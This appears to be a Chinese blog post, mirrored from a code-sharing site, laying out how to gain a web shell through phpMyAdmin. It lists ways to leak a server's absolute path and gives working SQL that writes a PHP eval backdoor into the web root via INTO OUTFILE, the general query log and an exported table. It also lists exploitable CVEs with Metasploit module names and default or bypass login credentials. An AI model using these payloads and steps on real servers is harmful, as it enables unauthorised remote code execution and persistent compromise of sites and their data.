zoukankan      html  css  js  c++  java
  • phpmyadmin Getshell 思路

    前几天遇到一个phpmyadmin,可惜在网上也没找到绝对路径,也就没办法上传木马getshell,这里梳理一下phpmyadmin getshell思路。

    这里getshell必须要知道网站的绝对路径,这也是信息收集的重要部分

    前提:php爆绝对路径

    单引号爆路径 

    直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

    www.xxx.com/news.php?id=1′

    错误参数值爆路径

    将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
    www.xxx.com/researcharchive.php?id=-1

    google爆路径

    结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

    Site:xxx.edu.tw warning
    Site:xxx.com.tw “fatal error”

    测试文件爆路径

    很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。

    www.xxx.com/test.php
    www.xxx.com/ceshi.php
    www.xxx.com/info.php
    www.xxx.com/phpinfo.php
    www.xxx.com/php_info.php
    www.xxx.com/1.php

    phpmyadmin爆路径

    /phpmyadmin/libraries/lect_lang.lib.php
    /phpMyAdmin/index.php?lang[]=1
    /phpMyAdmin/phpinfo.php
    load_file()
    /phpmyadmin/themes/darkblue_orange/layout.inc.php
    /phpmyadmin/libraries/select_lang.lib.php
    /phpmyadmin/libraries/lect_lang.lib.php
    /phpmyadmin/libraries/mcrypt.lib.php

    配置文件找路径

    如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

    Windows:
    c:windowsphp.ini php配置文件
    c:windowssystem32inetsrvMetaBase.xml IIS虚拟主机配置文件


    Linux:
    /etc/php.ini php配置文件
    /etc/httpd/conf.d/php.conf
    /etc/httpd/conf/httpd.conf Apache配置文件
    /usr/local/apache/conf/httpd.conf
    /usr/local/apache2/conf/httpd.conf
    /usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

    nginx 文件类型错误解析爆路径

    说明:
    要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
    www.xxx.com/xx.jpg/x.php

    信息收集

    通过SQL查询信息

    select version(); -- 查看数据库版本

    select @@datadir;    select @@basedir; -- 查看数据库存储路径

    show VARIABLES like '%char%'; -- 查看系统变量

    Getshell 

    前提条件:

    网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell

    读写权限。查询secure_file_priv参数(select @@secure_file_priv ),查看是否具有读写权限,若为NULL则无法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效。

    -- secure_file_priv=NULL,禁止导入导出

    -- secure_file_priv='',不限制导入导出

    -- secure_file_priv=/path/,只能向指定目录导入导出

    select load_file('c:/phpinfo.php'); -- 读取文件

    select '123' into outfile 'c:/shell.php'; -- 写入文件

    常规GetShell

    直接通过SQL查询写入shell

    设绝对路径为C:phpStudyWWW

    select '<?php eval($_POST["pwd"]);?>' into outfile 'C:/phpStudy/WWW/shell.php';

    通过日志文件写shell

    MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

    检测全局变量(general_log, general_log file)

    1.general log 指的是日志保存状态,一共有两个值(ON/OFF)

    2.general log file 指的是日志的保存路径。

    开启与关闭:

    set global general_log = "ON"; -- 打开日志保存

    set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接。

    上传shell:

     select '<?php eval($_POST[pwd]); ?>';

    创建新表getshell

    进入一个数据库,新建数据表。

    名字随意,这里为shell_table

    字段数填1

    添加字段

    字段名任意,这里为xiaoma

    字段类型为TEXT

    插入一句话木马:

    <?php eval($_POST[pwd]); ?>

    SQL查询验证木马是否上传成功

    设绝对路径为: G:phpStudyWWW

     select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

    以上步骤也可通过SQL语句执行

    Create TABLE shell_table (xiaoma text NOT NULL) -- 建表

    Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入

    select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出

    Drop TABLE IF EXISTS shell_table; -- 删表

    CVE

    CVE-2013-3238

    影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

    利用模块:exploit/multi/http/phpmyadminpregreplace

    CVE-2012-5159

    影响版本:phpMyAdmin v3.5.2.2

    利用模块:exploit/multi/http/phpmyadmin3522_backdoor

    CVE-2009-1151

    PhpMyAdmin配置文件/config/config.inc.php存在命令执行

    影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

    利用模块:exploit/unix/webapp/phpmyadmin_config

    弱口令&万能密码

    弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码

    万能密码:版本2.11.3 / 2.11.4,用户名:‘localhost’@’@”  密码任意

    参考文章:https://www.freebuf.com/articles/web/226240.html.

    https://xz.aliyun.com/t/3283#toc-4

  • 相关阅读:
    [Azure][PowerShell][ASM][03]Cloud Service
    linux ssh连接自动断开问题
    NTP服务器实现
    xshell使用小技巧
    elasticsearch集群部署
    redis集群部署
    积分排名查看
    linux centos7.2系统升级python后yum不能使用的问题
    Python生成器generator之next和send运行流程
    python文件操作
  • 原文地址:https://www.cnblogs.com/xiaobai141/p/14133915.html
Copyright © 2011-2022 走看看